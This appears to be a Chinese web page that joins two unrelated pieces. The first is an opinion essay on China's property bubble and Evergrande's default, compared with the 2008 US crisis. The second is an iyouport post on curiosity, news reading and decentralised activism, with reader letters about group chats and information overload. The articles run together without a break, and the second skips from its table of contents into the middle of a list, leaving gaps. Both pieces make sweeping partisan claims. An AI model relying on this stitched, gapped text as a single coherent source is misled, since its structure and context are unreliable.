为了理解中国房地产市场的崩溃，首先有必要讨论一下过去20年住房市场的快速、几乎非理性的增长速度。从21世纪初开始，两个不同的新兴经济现实开始交汇：收入增加和人为降低利率。为了鼓励经济投资和房地产市场的发展，中国政府人为地降低了利率以鼓励贷款，并建立了一个补贴和激励结构来开发房地产和其他基于土地的大型项目。土地的出售和出租成为了地方政府的主要收入来源，这不仅进一步加速了发展，而且也是腐败的一个巨大来源。

这种动态反映了1970年代和1980年代出现的波动和政策，并最终导致了住房危机和2008年的崩溃。为了解决经济停滞问题，1970年代初，美国的经济政策发生了一系列转变，从根本上重塑了全球市场。首先，尼克松让美元浮动，并使其脱离金本位制。这使得货币可以与黄金或白银脱钩，无论在任何地方的基础货币商品是什么。通过将货币与基础商品脱钩，流通中的货币数量得以增长，从而放松了对贷款的经济限制。再加上放松管制和人为降低利率，这两者都为消费者借入大量资金创造了条件。

这推动了住房泡沫，基于一个简单的论断。如果流入市场的资本量能够以这种加速的速度继续下去，那么消费者对房屋等东西的需求将保持高位，这反过来又推动了房屋等东西的价格上涨，并允许消费者根据这些资产的增长进行贷款。这样做是为了弥补实际工资的降低，允许消费者根据资产价值的增长进行借贷被用来解决基本的经济短缺。显然，回过头来看，这种框架在其分析中缺少一个核心的、明确的要素，即：如果所借出的债务数额超过了偿还债务的能力，会发生什么。随着经济动态开始转变，美国和全球经济的形态发生变化，这些巨大的分析差距出现了，并威胁到整个资本主义经济学的延续。

有一段时间，这种对轻松债务和资产价值增长的依赖能够通过创造家庭债务来解决工资下降的问题。但最终发生了两件事。

首先，实际工资已经降低到如此程度，以至于消费者越来越难以找到可供消费的流动资金，这压制了资产价值的膨胀。随着工资的持续下降和生活成本的持续上升，最终影响了家庭偿还他们所积累的债务的能力。随着这种情况的发生，支出收缩，对新住房的需求下降，这反过来又减缓了住房价格的膨胀率。这导致许多房屋的未偿还抵押贷款债务超过了可以通过出售获得的数额，这就是房屋“溺水”的含义。

这种通货膨胀的抑制使借款人无法利用资产的增加来解决预算的不足，导致房主拖欠抵押贷款。其结果是信贷市场的收缩，这使得贷款更难获得，造成更多的违约，如此反复。

在中国，与美国的轨迹一样，到2000年代中期，这一系列的政策和做法促成了中国巨大的住房和房地产泡沫的增长 —— 这种泡沫一直持续到今天，即使存在有意放缓开发以防止市场崩溃的尝试。

随着泡沫的不断扩大，越来越多的国际投资被吸引进入市场，然后进一步加快了发展速度。只要工资继续上涨，政府补贴继续流入，这种情况就可以继续下去，即使房子越来越多地被建造，但没有买家或租户排队。

当工资在2010年代后期开始持平，政府支出开始收缩，以防止政府债务危机，为可能出现的危机创造了条件。其结果是，在大流行发生之前，中国的房地产市场已经处于脆弱状态，许多经济学家预预测房地产市场将大幅放缓已经三四年了。

然而，直到现在，我们才看到这个市场的动态达到了顶点，表现为中国最大的住房集团—— 恒大的倒闭。恒大的规模难以把握—— 它的规模远远超过任何美国住房开发商的规模。今天，由于这次即将到来

的违约，大约有150万人没有建成的住房单元，其中许多人已经支付了部分房款。数以百计的承包公司和数千名工人面临着无薪的危险。大量的债务可能无法偿还，从全球金融机构的金库中提取了数千亿美元。

这种程度的损失是可以预见的。在过去的十年里，经济学家们一直在公开讨论中国房地产市场的崩溃以及将蔓延到全球的连锁反应。通过对经济活动进行高度控制的国家行动，这种明显的结构性风险暂时被阻止。对经济的控制和对腐败的打击，通过以有管理的方式减速股票价值的增长，减缓了崩溃的必然性。但是，即使有了这种干预和对市场的人为稳定，也不可能再忽视现实了 —— 中国最终出现了一个疯狂膨胀的房地产市场，并开始迅速下降。

就像我们熟悉的美国故事一样，作为 “财富引擎” 的股票价值膨胀的动力导致了债务市场的膨胀，超出了消费者的偿债能力。而且，就像美国的故事一样，工资的下降（或在中国的情况下是工资的停滞）最终与股票价值的不断上涨相碰撞，为危机的发生创造了条件。当这一点与全球经济的动态相结合时（我们接下来会提到），这个故事就从一个住房集团过度扩张其债务承受能力的案例变成了一个更重要的故事—— 一个具有全球影响的故事，它可能在触发将出现的下一系列经济现实中发挥重要作用。

经济矛盾

「图」

全球经济眼看着大流行病严重降低了对消费品的需求。这显然是大流行病造成的各种影响的结果，包括人们不能在商店里购物，社会疏离规则对生产能力的影响，失业增加，经济未来的不确定性导致人们更多的储蓄，等等。在全球范围内，这极大地影响了生产和出口型经济，包括中国经济。在过去的二十年里，人们一直在共同努力，加快中国经济形态的转变，此举可以直接牵涉到首先为房地产泡沫创造条件。但随着经济现实的发展，变化速度的放缓，出现了工资停滞的必然趋势，这在大流行之前已经引起了对中国更广泛的经济崩溃的担忧。

这一切都很好，而且只是资本主义内部危机不断嗡嗡作响中的另一天吧。然而，当前的情况呈现出的条件从根本上改变了对这场特定危机的严重程度和方法的计算。国际形势正变得越来越可怕，尽管是悄无声息的。在整个大流行病期间，政府能够通过直接补贴收入来解决一些消费市场的不足。在美国，我们看到这促成了住房市场的泡沫，因

为越来越多的人能够负担得起房子的首付，由于有新的补贴和税收回报。尽管这些钱正以惊人的速度注入经济，而且我们看到某些垂直市场在这一时期的增长，但更广泛的动态对资本主义来说是黯淡的。

目前，全球经济增长呈下降趋势，导致整个全球经济大部分地区的增长速度持平或下降。在其他类似的情况下，就业岗位的丧失、债务负担的增加和消费者支出的下降加在一起，会导致一场重大的危机出现在地平线上，但相反，我们看到的只是经济陷入了深度的停滞。然而，这种状况是以企业、家庭和政府债务水平的极端代价做交换的。

现实情况是，远远没有像2009年那样利用债务来增长或恢复经济，正在增加的债务负担只是为了防止崩溃。这是一种人为的稳定，由于债务很容易获得，有一些项目允许免除贷款，而且目前美联储设定的利率是0.25%（截至本文撰写时）。

在某种程度上，我们已经可以看到即将发生的事：它反映了**2008–2009**年期间高债务经济体中出现的类似动态。债务虽然容易获得，但也有一个上限—— 一个实体在某一个点上不能再借钱。疫情期间，政府和企业的债务负担已经达到了这样一个水平，这个理论上的极限开始成为一个实际的极限。这个极限的实现不仅仅是由于大流行病期间债务负担的增加。在大流行之前，不仅在美国和中国，而且在全球范围内，已经有人对不可持续的债务水平表示了担忧。当这样的担忧被提出来，当严重的危机出现时，贷款要求就会被收紧，债务更难获得。

在目前的情况下，出现了一个深刻的悖论，产生了倾向于崩溃的条件。一方面，在其他情况下，全球债务市场的现状会使债务非常难以获得，这通常会引发一波违约。但我们没有看到这种情况发生：为什么？这里的现实是，这种情况尚未发生的唯一原因是，政府正在补贴低利率和促进贷款计划，以保持资本流入经济。这种做法，虽然在目前有助于将经济稳定在停滞类型的模式下，但是，在债务违约日益频繁的时候，也从根本上加深了债务危机。因此，我们正在迅速达到一个临界点，不能再借钱来补贴这种人为的经济稳定。这就是为什么我们看到，例如在美国，基于COVID的经济援助计划正在被取消。

这一债务极限的出现，产生了可能导致连环危机的影响。当达到或接近这个极限时，政府将面临一个选择，其中所有可用的选项都会导致危机的加深。

在第一种情况下，政府跟随美国和其他国家的步伐，开始关闭补贴项目。如果这种情况发生，主权债务市场的危机将被避免，但这将以消

费经济为代价。我们必须记住，所有的补贴实际上都是将财富重新分配给那些拥有生产和消费手段的人，即富人。这些钱被给予是为了使用，而不是保存，作为一种人为地促进消费支出的方式。如果政府停止借贷来支付这些项目，消费者支出很可能会大幅下降。这可能会导致企业无力偿还贷款，导致它们倒闭，正如我们已经开始看到的那样。这种就业的丧失加速了消费者支出的下降，导致更多的企业违约，如此反复。

最终，如果允许继续下去，这种动态将最终导致银行和其他金融机构在违约贷款上损失大量资金，导致他们限制放贷，从而进一步加速危机。这与2008年发生的情况有类似的动态，尽管原因有些不同。

第二种可能的情况是，政府将继续借贷以补贴经济。在这种情况下，消费者支出可以保持水平，企业更有能力偿还债务，使其能够继续经营。但是，问题的领域只是从消费经济的崩溃转移到了主权债务市场的崩溃。主权债务市场的基础是政府实体的债务和由这些贷款产生的衍生品。关于希腊债务违约的讨论就是存在于这个空间里的一种讨论。如果政府要支出到违约的地步，就会出现一个不同的崩溃场景。

在这种情况下，金融业会立即感受到影响。许多资产是基于对主权债务的投资（对于美国人来说，政府债券是基于债务的资产形式）。退休基金、遣散基金和许多的投资基金都大量参与了这个市场，因为它被认为是一种安全的投资形式。如果出现规模足够大的政府债务违约——从希腊到中国的任何国家都有这种规模——这些金融基金将首先受到直接影响。金融业的这种资本损失创造了一种动态，即货币的借贷变得紧张。这可能导致两种结果之一：要么债务的利率上升，要么机构完全停止放贷。在任何一种情况下，经济状况都会产生连带效应。

这使得像恒大这样的公司处于一个非常危险的境地。该公司规模太大，无法通过增加投资进行功能性救助，许多外国投资者目前正在撤出他们的资金。这意味着该公司，以及整个中国经济，都要依靠政府结构化的危机对策。这就造成了这里可能采取的两种不同的方法，这两种方法都充满了危险。

首先，如果中国政府救助该公司，这将以向该公司注入大量资金为代价，但中国政府已经在试图削减债务，以避免自己最终陷入违约的境地。如果再加上工资停滞不前，外国消费者支出下降，以及资本从中国市场撤出，国家对恒大进行救助，然后继续用补贴支出来支撑经济的能力就会大大减弱。此外，这也是中国国家提出的最大担忧，这将造成“道德风险”的状况，或者说投资者在了解到如果他们失败会得

到救助的情况下采取冒险行动—— 将利润私有化，损失社会化。

第二种可能的做法是，中国国家将让恒大破产，以防止政府预算和债务负担的压力，并避免这种 “道德风险”。对这种做法已经有了公开的讨论，政客们说外国投资者在破产期间是最后一个获得付款的。如果这种情况发生，影响可能是灾难性的。与未履行的住房合同、建筑交易、向承包商付款等有关的抗议活动已经爆发，而且这些抗议活动可能会继续下去。未付合同、投资损失和半成品住房将由此造成数千亿美元的经济损失。外国投资者已经在从中国经济中撤出资金，如果外国投资者在破产中蒙受损失，这种动态将急剧加速。

到目前为止，我们已经看到中国金融当局决定向市场注入大量的流动资金。这样做是为了防止因恒大破产而导致信贷市场收缩。但这算是一种半成品的做法。它将防止在不久的将来出现直接的崩溃，但是，它不会是一个能够作为解决方案长期发挥作用的方法。如果他们决定救助该公司，很可能外国投资将继续流入，但国家将在财政上濒临崩溃，促成上述的主权债务危机。或者，如果决定让该公司倒闭，那么外国投资很可能会离开，许多工作机会丧失，许多承包商得不到报酬，贷款被拖欠，人们没有住房。虽然这是一个解决方案，同样在眼前意义上发挥作用，但其长期影响可能与当前消费市场的趋势相互作用，也会造成危机状况。

无处可逃

「图」

围绕中国房地产市场和恒大的崩溃，真正要问的问题并不是 “这将在中国产生” 啥影响，因为这不可能与更广泛的影响分开。相反，危机点出现在一个不同的地方。这场崩盘远非只影响中国经济，而是出现了一种情况，即 地方层面的状况与更广泛、更可怕的全球经济动态发生碰撞。正是在这种碰撞中，我们有可能看到潜在的巨大影响，或者至少看到我们向严重的危机迈进了一大步。

这类危机不是单个公司崩溃的结果，而是资本主义内部增长概念中的核心悖论和陷阱的结果。将资本释放到经济中会在短期内产生增长模式，但要付出长期的代价。例如，税收减免经常被吹捧为推动经济增长的一种方式，但无论它们产生任何好处，都将被需要为该税收减免提供资金的事实所抵消。在救助公司和机构的过程中也有类似的计算。在这种模式下，所有的参考点都被推迟到了未来，推动了一种在核心层面上的投机性的方法。在这个投机过程中，经济呈现出不同的特征，抽象资产的潜在未来利润成为焦点。物质库存，如房屋或商

店，在债券和衍生品市场中成为该资产的抽象代表的次要因素。随着这种情况的发生，经济的其他部门也需要参与到这种不稳定性中，比如材料供应商和建筑公司，他们承接的工作希望能得到回报。所有这些公司都有债务，他们所有的员工都有债务，等等。

此刻汇聚在一起的动态，其轨迹早在**COVID**成为一个因素之前就已经开始了，并且已经变得不稳定。在大流行病出现之前，中国经济已经在两个领域出现了问题的迹象：房地产市场和政府债务。在2008年金融危机之后，中国政府已经承担了不可持续的债务，以继续为受控制的经济增长提供资金。尽管为限制债务和平衡国家预算做出了努力，但这些努力在COVID期间基本上被中止了。

因此，我们在恒大这样的案例中看到的动态，是影响国际上各种经济垂直领域的更广泛动态的一个缩影。中国的经济目前正处于一个特别脆弱的阶段。政府债务高企，经济增长速度放缓，以及某些经济部门的崩溃，对经济状况产生了重大影响。如果国际市场出现消费需求崩溃或主权债务危机，这些情况可能会恶化。

从这个分析中，可以得出一些结论。首先，也是最正式的，我们可以在经济学中看到一些关键的东西：经济模型不是世界的反映，建立在这些模型上的机制崩溃的原因在于两者之间的不协调。正如通过政府有意的干预来构建一个以贷款为主的经济，并因经济条件的不可预见的转变而崩溃一样，中国的住房市场也出现了类似的动态。本世纪初采取的政策是基于与美国政府在70年代和80年代的干预相同的假设。现在这些政策由于类似的原因而崩溃，尽管危机的形式和它的直接原因不同。

从这里我们也可以看出，中国的经济条件不可能做到危机一旦发生就能避免或解决。所有可能的方案都允许在短期内规避危机，但只能通过临时性的机制，而且在未来能够使用的可能性越来越小。房地产泡沫的大部分是建立在政府补贴和许可的基础上的，撤销这种支持对该市场可能是致命的。中国国家在大流行期间保持局势稳定的能力依赖于税收收入的持续流入和国际借贷的能力。还有更多与工资有关的局部影响，建筑公司贷款等方面的次级债务违约，等等，这些都会加深危机，提高救助的成本。如果消费经济受到削减补贴的影响，那么就会对税收产生负面影响，但如果出现主权债务危机，那么借款能力就会受到影响。

在这两种情况下，情况都不可能以避免危机的方式转变。

最后，造成恒大倒闭这样的局面的动力并非中国独有，而是当前更广

泛的经济趋势的产物。这个更广泛的趋势是一个没有逃生之路的趋势，而且可能会产生重大的全球影响。目前，我们发现自己面临两种可能的经济现实，它们都涉及危机，而且在资本主义本身的条件下都是无法避免的。不仅是中国的住房市场将受到严重影响 —— 它可能是整个资本主义经济动态，以及我们的基本生活条件。〇

The Grand Crash

原文

好奇心比聪明更重要：与IYP对话2021 -- 什么是民主？如何战斗？ - iyouport

这里是IYP的口袋知识-小册子和电子书长读

关于什么是民主、怎样才能实现民主的问题，所有政权都在欺骗你。

在人们纷纷嘲笑中文社交网络生态 “有多么愚蠢” 的同时，IYP不断接收到来自中国的读者的私信和邮件，有几百个源头，其中很多读者表达了清晰的认知和对我们提供的内容的深刻理解 —— 有些时候，比我们在制作内容的初始阶段所预期的理解程度还要高出很多。令我们惊喜和激动。

我曾经鼓励一些私信IYP的读者，我说：您说的非常好，您可以发布推文或撰稿以讲述这些道理，帮助更多人受益。然而他们很抱歉地说：“没用的，没有人愿意听这些，网上都是选边站的人，如果你不站在这一边，他们就会把你推向另一边 …… 所有人都觉得自己最聪明，自己的结论才是真理。没有对话，只有互相批驳”。

的确如此。但这不是您的损失，因为，您完全可以拥有比 “聪明” 更重要的价值。

互联网上遍布着 “聪明人”，似乎每个人都觉得自己是天赋异禀的，相信自己掌握的是绝对的真理。我们知道的确有不少人说出了高明的观点、讲清了复杂的事实，也让其他人学到了知识；但是，依旧很难称这些人为聪明人。

为什么呢？究竟什么样的人可以被称为聪明人？标准是什么？

是智商吗？或者情商？或者知识面？学历？赚钱能力？阶级地位？…… 可能都不是。

真正的聪明来自于好奇心。

的确有些人很聪明，他们之所以聪明是因为他们知道自己还不知道什

么，还没有找到完整的答案，并且很想要知道。

是好奇心推动他们不断变得更加聪明。这就像一个循环。

没有人能在校园里学到一切。即便是最好的学校，教会了您全套学习方法，您也需要用一生去不断学习；应试教育体制只会教会您如何通过考试，即便您考了满分，那些知识也只会不断被遗忘。

即便是最博学的人也有不知道的事，但一个聪明的人之所以聪明，是因为他们知道，聪明不是永久的状态，它是一个持续的过程，只有通过不断学习才能留在这个过程中。

聪明的人可能更难以得到完整答案，正因为他们有着源源不断的好奇心，让他们知道永远都会有更多的答案、更深层次的理解需要探寻。相反，那些认为自己已经掌握了真理的人，只会立刻停止探寻，用一个盲目的断言概括一切。

所谓的成功人士/领域名人并不一定是聪明人，相反，功劳簿的软床只会让他们停止探寻，他们失去了扩展自己的知识的动力。这就是为什么你会看到，很多人一生都停留在其毕业论文的水平上。

换句话说，他们已经失去了好奇心。

没有了好奇心，学习的大门就关闭了。一切前进都停止了。

如果你不好奇，你就会认为自己“已经知道了全部”。你觉得自己已经变成了真理的化身。古罗马哲学家爱比克泰德早已警告过这点：“一个人不可能学习他认为自己已经知道的东西。”但他真的知道吗？仅仅是他自己认为而已。

这样的人认为自己什么都知道。他可以从教科书中旁征博引，并准确地说出重要事件发生的年份。但是，他无法在现实生活中实践这些事实；他眼中没有任何反例的事实存在；他无法用最简洁的语言陈述一个复杂的道理。

如果你是好奇的人，则相反。你会发现自己所了解的事实中的缺陷；你会客观地评估自己的知识，你会意识到自己还有不知道的东西；意识到自己有很多东西要学，有很多事要做。因此，你将继续提升自己，不断地学习和实践。

如果你非常聪明却没有好奇心，你只会在快速变化的世界中保持静止。这意味着你正在迅速落伍。你已经被抛弃了。

相反，如果你很好奇，即使你不是很聪明，你也会继续前进。有时很快，有时慢，但始终在稳步前进。

IYP 的列表-3 中汇总的内容旨在教会更多人如何认识新闻、如何做独立调查记者，这并非题外话，相反它很重要。因为，如果您不会读新闻，您就不可能理解真正的事实 —— 新闻的价值并不仅仅在于告诉您“什么时间发生了什么”，而是在于揭示“一个局面中缺少什么”。现代新闻已经把这一原则基本上完全弄反了。

这就是为什么现代新闻正在毁掉民主，而不是推动民主。即便它们说的都是真话。

我们来举一个最近的例子 —— 中国共产党第十九届中央委员会第六次全体会议（六中全会）。在这个过程中我们什么都没有表达，我们在观察，观察中外记者都是如何思考的。很遗憾，我们几乎没有发现专业的思考方式。

所有人都在试图从绕口的官腔中“整理出一个线索/梗概”，这是无意义的劳动；新闻不是录音机，也不是吐槽的口水，不需要您去嘲笑统治阶级的愚蠢（它的愚蠢和专横早已是显而易见的常识）。相反，新闻工作需要您帮助大众了解到在当下的局面中，这份文本缺少什么。所以，正确的方法是：反着做 —— 首先您的头脑中应该对当下局面的必需有一个清晰的框架，然后，用这一框架回过头去在该文本中寻找相关描述；这样一来，您不仅能知道它说了什么，怎么说的，还能知道它没说什么，为什么。

最重要的并不是“他们”为什么不行，而是，“我们”如何才能行。

好奇心将帮助您提出一个好问题，这比查找到所谓的正确答案，要珍贵一万倍。

提出问题是推动探寻的驱动力，提出好的问题是深入挖掘更广泛真相的关键引擎。只有真正的探寻才能帮您看清更完整的事实。

聪明但不好奇的人认为信息是有限的，在他们完成一门学科、拿到一个学位、甚至只读过几本书之后，就觉得自己可以称得上专家了。

而真正的智慧是始终相信还有更多未知未学的事物，还有很多从未被探索到的深度。对于好奇的人来说是，一切都没有限制，恰恰相反，永远令人兴奋。他们始终持开放的态度迎接不同的思想。

您可以通过拒绝认同任何政治派别或集团来确保您与您所消费的信息

保持一种基于真相的关系。您越是认同一个团体，您就越有可能转述别人的叙述而不问它们是否真实，更不用说去探寻深度了。

这*并不*意味着要放弃意识形态或不采取集体行动。它只是意味着不要通过把群体变成一个感觉像是你自己的延伸的 “我们” 来赋予它认同的力量。

集体行动，集体思考，但是，必需作为一个个体去站直腰杆。

感谢所有发来邮件和私信的朋友，是您打开了我们的思路；感谢所有提出好问题的读者，是您推动我们探索更深刻的道理。在2021的年终，我们准备挑选一些邮件发布，以补充我们今年的内容中可能没有触及到的议题（已呈现的议题未纳入其中）。

为了保护读者的匿名安全，编辑中隐去了所有识别性信息，并压缩了篇幅，以增加可读性。

📌 本文分为以下13个部分：# 上网是为了找乐子吗？- 无聊如何作为一种惩罚的存在；

- 当您被统治阶级视为敌人时，如何保护自己？
- 真正的对手究竟是谁？它将如何被瓦解？
- 对话是如何变成废话的？
- 为什么越是低劣的信息被转发量越高？
- 社区和群聊的区别是什么？
- 如何用爱作为反抗的武器；
- 为什么知识分子跑题？- 奥弗顿之窗的困局；
- 派系之分如何成为一种安全性漏洞；
- 究竟什么是“泄密”；
- 民主真的存在吗？如何判断是否民主？
- 传统工运已经死了吗？
- 激情是什么？激情真的重要吗？

1. 来自不堪重负（大规模的对抗行动）

- 其自身未能以足够快的速度扩展（您知道的，所、有、那、些…）
- 来自系统内部的破坏（吹哨）
- 来自泄漏（透明度革命和黑客主义）

这就是为什么无政府主义活动家、调查记者和吹哨人被列为目标黑名

单榜首的原因。实际上，这个系统将每个人都视为威胁。

一些有能力的人变得不可预测，他们富有想象力和创新能力，并采取了能直接威胁到这个系统的对抗行动。

这对一个想把所有人都塞进盒子里并对每个人采用同样的压制方法的系统来说，是一种绝对的威胁。

创新＝威胁。

如果体制内的有良知的人不愿意从内部打击它，那么对于我们这些体制外的人来说，把群众行动和创新结合起来，就是最好的机会。

我们多次介绍过的跨越45个国家的 Unity4J 运动，它并不是一个单一的中央组织；不同地方的许多团体都能根据自己的意愿采取自主的不对称的行动：这就是这场全球支持运动不仅能开花结果，而且能生存下去的原因 —— 无政府主义的原则：横向、无等级、无领导、亲密团队模式。

这绝对是正确的决定。

确保人类的未来需要权力下放。这个中心化的世界需要去中心化的解决方案。

采取行动本身就是成功；达成目标是另一种成功。成功并不是很多人想象中的那种立竿见影。您可以从这篇文章中理解这点《胜利的冲击》。

Julian 和维基解密的最大问题是：单枪匹马。当 Julian 一次又一次地对付世界上最强大的势力时，（大多数）人们都在旁观。

我们需要更多的 Julian。更多的维基解密。我们也将需要更多的行动主义。即 《超越透明度革命》。

找到创新的方法。采取行动。

不要只是信奉一个英雄，要模仿您的英雄的行动。在您自己的地理空间里，与您能拉拢到的任何一群人一起，集思广益，想出一些你们能建立的东西，自治，互助，成为对抗性的生态系统。

是的，你会被攻击。是的，你会被抹黑，被人格暗杀，你会遭受所有你想得到的和想不到的迫害。你会受伤。正如您所言，“成本很高”。

但如果您什么都不做，那么就只是在屈从于更糟糕的情况，承受更糟糕的结果。

抵制不作为的诱惑。

抵制参与体制的激励。在中国流行的所谓“铁饭碗”文化是一种阴谋，它只是在加固权力支柱，让更多人变成既得利益者，主动捍卫系统、阻止变革。是的，它们会在短期内奖励你，但它们是一个陷阱，它们旨在全面控制住你。

抵制造成我们现在这种状况的主流。

选择不遵守一个“检测、改造和阻止”反对意见的系统。

不要试图在一个旨在通过使你成为可牺牲品来保证其自身生存的系统内工作。

拥抱您在它之外的位置，并围绕它进行建设，

创新和行动。

正确的方法并不总是流行的方法，也可能不是简单的方法。在不受欢迎的时候坚持正确是对道德品质的真正考验。

那些无效的对话

「图」

Letters：…… 我是觉得很少有人能说出点什么来。不管是网上还是生活中，聊天就是些闲言碎语，聊几个小时也聊不出真东西来。完全是浪费时间。要么就是互相掐，找茬挑刺儿，互骂傻逼，最后也得不出什么结论 …… ，没人真正想要解决问题 ……

iyouport：您描述的情况几乎所有人都经历过，没错，不论是在网上还是在现实中，都是如此。然而所有对话者似乎都充满活力、兴致昂扬，却得不到任何有价值的结论。

这非常荒谬对吗？到底发生了什么？

答案与一个常见的谚语相关：

问题不在于你说了什么，而在于你怎么说。

大多数沟通不是信息的交流，而是情感一致的舞蹈。 您可以体验一下这个谚语所比喻的东西：当两个人以同步和统一的方式在一起跳舞，而且很明显两个人都很开心，那么这个舞蹈的意义到底是什么？

当然，这个问题本身有点奇怪—— 舞蹈并不一定要意味着什么，跳舞主要是因为它很有趣。 纯粹而简单。 我们从直觉上理解这一点，没有人在观看舞蹈时感到困惑，因为舞者之间似乎没有任何有用的信息在传递。

但是，说话就不同了。语言是有意义的，当我们把语言串起来时，是为了创造和传递意义。

这正是语言在大多数情况下本应该被使用的目的。

语言是一种多方面的工具，就像身体一样。 我们可以用身体来跳舞，享受乐趣，也可以转过身来，用身体做一些纯粹功利的事情，比如打扫卫生。

语言，同样也是最常被用于心灵之间互动的一种舞蹈形式。 在辩论中，人们可能会认为语言是一种排山倒海的思想斗争；但当涉及到一堆朋友有一大堆的乐趣、说了大量的闲话时，最好把它看成是通过语言媒介的情感舞蹈。

这种对情感调整的渴望和乐趣是所有人的社会冲动的核心。 这也许是人类为什么有这种部落主义倾向的核心—— 不论是网上还是现实中。 简单地说，在情感上与您有亲密关系的群体保持一致是一种快乐的回报，而抵制对手的部落(圈子)就可以放大您所在群体提供的这种情感回报—— 排异作为凝聚力。

这也许和人类的适应力有关。显然，形成良好的群体生存的机会要高得多，特别是那些发展出一种硬性假设的群体：假设其他群体都很可能是坏的、是需要警戒的。

然而，在没有一个公认的敌人的情况下，人们就会互相攻击，圈子内部的细分成为了冲突的新界限。

您可以看到，这个通用的认知程序是毁灭级的。即使有一个群体以某种方式实现了消灭所有与其自身不同的其他群体的悲惨目标，差异的划分也会简单地再次崩溃到一个较低的水平—— 这个幸存群体中的子群体会再次开始成为彼此的对手，直到新的内部冲突采取同样的极端措施。

所有这些都是因为人们对归属感的需求是如此之深，对自己的归属感的愉悦感承诺是如此之大。群体冲突很难消解，地缘政治冲突可能永远存在。

但归属感本身不是坏事，它是促进团结联合的主要动力之一。

然而，如果只专注于情感互动而忽略了共同战略，对话就很难有意义。并不是说沟通情感不重要，玩笑中同样可以闪现真知灼见；这里的关键是，参与对话的各方都应该有明确的战略目标，这样才不至于出现跑题和“歪楼”，各方都基于此战略贡献自己的知识。

共同战略是社区互动的基础。这一战略指的是所有成员的共同利益，是 *你们想要什么*，而不是作为成员的共同身份想要什么 —— 是真实的需求，而不是队形整齐，这很重要。建设性和创造性的战略目标才能开启建设性和创造性的对话，才能满足人的具体需求。

互联网上也一样。如果能在每一次发表观点时主要考虑公民的利益 —— 人的利益，而不是政府、国家、系统、意识形态阵营的利益，互动就能产生价值。

Letters：国家之间也是说一堆废话，没人想要解决问题 …… 中美之间是竞争吗？还是冷战？冷战和竞争的区别是什么？

iyouport：是冷战，而不仅仅是竞争。

冷战最大的问题是“战”，战，意味着这里只有“敌我”，输赢的标准被局限在击败对手这一狭隘的目标上，而不是“如何才能让事情变得更好”、“如何解决问题”。这就是您看到的，他们说了一堆“废话”，虽然正确，但问题难以得到改善。

“战”是争，而不是竞，“竞”可以推动进步，而“争”对改善毫无兴趣，它要的只是统治地位，是谁臣服于谁的结论。

这就是为什么所有统治阶级在人权、民主的所有关键话语中都会撒谎，因为他们不是解决方案，他们就是问题本身。

选择精品，而不是跟随“热门”

「图」

Letters：你们说过，越是垃圾的信息被转发的可能性越高。我也感觉到这种情况了。除了你们解释过的大多数人追求智商优越性的原因之

外，还有其他原因吗？谢谢。

iyouport：最近有一个研究显示，垃圾信息在互联网上最热门的原因比“智商优越性”的因素更糟糕。它意味着，这种状况可能无法通过数字素养教育来改变。

印第安纳大学布卢明顿分校的研究人员建立了一个社交网络的模拟，其中每个节点都是一个假想的人，与其他节点有一组随机的连接。与现实世界一致，这里的每个模拟人的注意力都被设定为很有限，他们只能处理一定数量的传入信息。假设消息的质量随机变化，就像在现实世界中那样，每个人都可以选择传播消息，或者不传播。在模拟中，是否传播的决定是随机的，而不是由标题党或认知偏见驱动的，所以这个模拟是一个更乐观的过程。

而事实证明，信息传播遵循幂律：一个帖子被分享一定次数的概率大致与该数字的反幂成正比。这意味着随着网络中信息数量的增加，那些被传播的信息的质量就会下降。

换一种方式来看待它，就是：一旦您的新闻源变得太大，您越是无法阅读所有的新闻，无法决定是否转发任何东西，您传播的信息的质量就会因为这个过滤过程而下降。给每个人同样的问题，让世界上的每个人与其他人交谈，并将信息量过载增加100到1000倍，这就是今天的信息地狱景象。

我们觉得一些朋友已经意识到这个问题了，也是为什么很多读者要求我们制作一个独立媒体列表，尝试从大量的垃圾信息中筛选出一些值得花时间阅读的东西。我们将在月底发布这个列表，同时发布**11 ~ 12**月的免费书籍汇总。

您需要的是社区，而不是群聊

「图」

Letters：…… 聊天应用里的群组是社区吗？为什么？

iyouport：我们在《整体安全》第1集中讲述的就是这件事；群聊不是社区，两者有根本性区别。

如果您把群组和社区放在一起看，它们之间唯一的共同点就是“关系”，人与人之间的关系。当说到关系的时候就必须考虑它在心理层面上的特点，即 任何一种关系都是存在于两个人之间为最强，当加入

第3个人时，关系就会被减弱；加入的人越多，减弱得越快。

社交媒体群组中的关系是这种心理层面的特点的极致表现，因为在这里，维护关系的唯一途径就是每个人的心理层面。于是您就会看到，一个近百人的群组中有超过一半的人都不怎么说话，甚至从来都不会说话，就像个影子观察者；而发生的对话中事实上也只有在 3、5个人，甚至2～3个人之间，也就是说，固定的这3、5个人彼此回复来构建一个话题，然后其他人都看着；再然后另外一个小组 —— 也许是4个人 —— 再开启一个其他的话题，然后其他人看着。

虽然这个群组表面上是近百人的大群组，但它通常很难形成超过50%成员的互动。为什么呢？因为在这里，对关系的维护仅仅取决于人们的心理层面对关系的理解。如上所述，人的心理层面会下意地抵制过多的其他人加入关系。

而社区则不同，在社区里，维系关系的东西更多是精神层面和物理层面的—— 共同的志愿、理想、一个计划、一个大目标、获得同道支持的机会、学习的机会，等等。当然，这里依旧会存在心理层面的影响，您会看到其中某几个人显得更亲密一些，但这对社区关系基本没有影响，因为这里每个人都有对社区本身的精神和物理层面的依恋。

在加密群组中这种区别会被明显放大。为了保护人们的安全和言论自由，所有建议都会鼓励您采取端对端加密；因为理论上，只有当人们能够摆脱监视审查的时候，才可以放心地畅所欲言。然而，事实上我们发现，效果与理想中大相径庭。

一个普通的社交媒体群组转移到加密通信工具中后，几乎全部变冷了。要么很少有人发言，要么发言者被无人回应，总之，绝大多数时候的热闹程度都会远低于那些危险的、人们不得不戴上面具的通信渠道，比如微信。有些时候其中一些人会主动要求：“嗨，大家都在设置中标注一下名字吧，就使用微信中使用的昵称，我需要知道说话的人是谁”。

这是个有趣的建议，对吧？事实上您不需要知道说话的人是谁，您只需要知道您所在的群组完全是您熟悉的那个群组，没有任何额外的陌生人加入，这就足够了。您完全可以就话题回复话题，而不是 “看人说话”。

那么为什么会出现这样的提议呢？因为这是群组，不是社区；人们之间的关系—— 以及在构建关系方面所做的一切，如回复、发布信息、表达和评议、也包括红包 —— 完全建立在心理层面的关系上，

简单说，它的唯一参照是“人的身份”，而非议题和论点。

当这一唯一参照变得不确定时（有时仅仅是其他人换了一套昵称和头像），人们就不知道该如何表达了。然后就是您看到的冷场。

